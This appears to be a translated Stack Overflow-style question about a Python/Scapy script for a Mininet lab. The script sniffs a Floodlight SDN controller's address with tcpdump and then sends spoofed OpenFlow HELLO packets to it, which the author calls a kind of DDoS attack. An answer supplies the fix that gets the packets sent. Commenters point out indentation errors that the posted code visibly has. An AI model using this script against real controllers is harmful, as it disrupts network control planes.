【问题标题】:Unable to create OpenFlow13 message with Scapy无法使用 Scapy 创建 OpenFlow13 消息
【发布时间】:2019-10-27 03:53:39
【问题描述】:

我正在编写一个使用 tcpdump 和 wireshark 捕获 openflow13 数据包的代码。我正在运行 mininet 拓扑和泛光灯 SDN 控制器。一旦我从捕获中获得了我的 SDN 控制器 IP 和端口详细信息,我打算创建多个 OFPTHello 消息并将其发送到 SDN 控制器 [某种 DDoS 攻击]。虽然我能够提取控制器的详细信息,但我无法创建 Scapy OFPTHello 消息包。

请求帮助我识别和解决问题

我正在运行的 Mininet Topo-

sudo mn --topo=linear,4 --mac --controller=remote,ip=192.168.56.102 --switch=ovsk,protocols=OpenFlow13

我的代码-

#!/usr/bin/env python3

try:
        import time
        import subprocess
        import json
        import sys
        from scapy.all import *
        from scapy.contrib.openflow import _ofp_header
        from scapy.fields import ByteEnumField, IntEnumField, IntField, LongField, PacketField, ShortField, XShortField
        from scapy.layers.l2 import Ether


        ofp_table = {0xfe: "MAX",
                     0xff: "ALL"}

        ofp_buffer = {0xffffffff: "NO_BUFFER"}

        ofp_version = {0x04: "OpenFlow 1.3"}

        ofp_type = {0: "OFPT_HELLO"}

        class OFPHET(_ofp_header):
                @classmethod
                def dispatch_hook(cls, _pkt=None, *args, **kargs):
                        if _pkt and len(_pkt) >= 2:
                                t = struct.unpack("!H", _pkt[:2])[0]
                                return ofp_hello_elem_cls.get(t, Raw)
                        return Raw
                def extract_padding(self, s):
                        return b"", s
    class OFPTHello(_ofp_header):
            name = "OFPT_HELLO"
            fields_desc = [ByteEnumField("version", 0x04, ofp_version),
                       ByteEnumField("type", 0, ofp_type),
                       ShortField("len", None),
                       IntField("xid", 0),
                       PacketListField("elements", [], OFPHET, length_from=lambda pkt: pkt.len - 8)]

    # Capture controller's IP address and Port
    Hello_Msg = []
    Switch_TCP_Port = []
    p = subprocess.Popen(['sudo', 'tcpdump', '-i', 'eth1', 'port', '6653', '-w', 'capture.pcap'], stdin=subprocess.PIPE, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
    time.sleep(45)
    p.terminate()

    captures = rdpcap('capture.pcap')

    for capture in captures:
            msg = (capture.summary()).split(" ")
            i = len(msg)
            if (msg[i-1] == "OFPTFeaturesRequest"):
                    Features_Request = capture.summary()
                    break;
            elif (msg[i-1] == "OFPTHello"):
                    Hello_Msg.append(capture.summary())

    for Hello in Hello_Msg:
            frame = Hello.split("/")[2]
            port = ((frame.split(" ")[2]).split(":"))[1]
            Switch_TCP_Port.append(port)

    Features_Request = Features_Request.split("/")[2]
    Source_Frame = (Features_Request.split(" ")[2]).split(":")

    Controller_IP = Source_Frame[0]
    Controller_Port = int(Source_Frame[1])

    print("\nController's IP Address: %s"%Controller_IP)
    print("Controller's Port: %s"%Controller_Port)


    # Generating Openfow PAcket_In using Scapy
    for p in Switch_TCP_Port:
            p = int(p)
            packet = Ether(src='08:00:27:fa:75:e9',dst='08:00:27:f1:24:22')/IP(src='192.168.56.101',dst=Controller_IP)/TCP(sport=p,dport=Controller_Port)/OFPTHello()
            send(packet)

except ImportError as e:
        print ("\n!!! ImportError !!!")
        print ("{0}. Install it.\n".format(e))

Wireshark Capture- [只有 4 个 hello 数据包,没有捕获 Scapy 数据包]

问题/问题 - 我能够从 mininet 拓扑中接收理想数量的 4 个 hello 数据包。但是,我尝试使用 scapy 创建的新 hello 数据包没有被wireshark 发送/捕获。我附上了我的 scapy 代码以供参考。

【问题讨论】:

  • "请求帮助我识别和解决问题" => 您的问题需要具体且最好放在帖子末尾。
  • 就您的代码而言,1) 存在缩进问题 2) 请设为MCVE
  • 更新了帖子中的问题/问题。
  • 就您的代码而言,1) 存在缩进问题 2) 请将其设为MCVE(即演示问题的最少代码)

标签: python-3.x scapy sdn openflow


【解决方案1】:

在您的代码中执行此操作

修改行:

发送(数据包)

send(packet,iface='eth1') 其中 eth1 是攻击虚拟机的出口接口

原因是,即使将格式错误的 Openflow 数据包放在网络上,Wireshark 仍然能够捕获它,假设您的攻击 VM 具有到控制器 VM 的路由。这意味着您的代码没有将数据包放在正确的线路上,send(packet,iface='eth1') 会将其放在正确的线路上。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2016-08-18
    • 1970-01-01
    • 2019-01-14
    • 1970-01-01
    • 2023-02-11
    • 1970-01-01
    相关资源
    最近更新 更多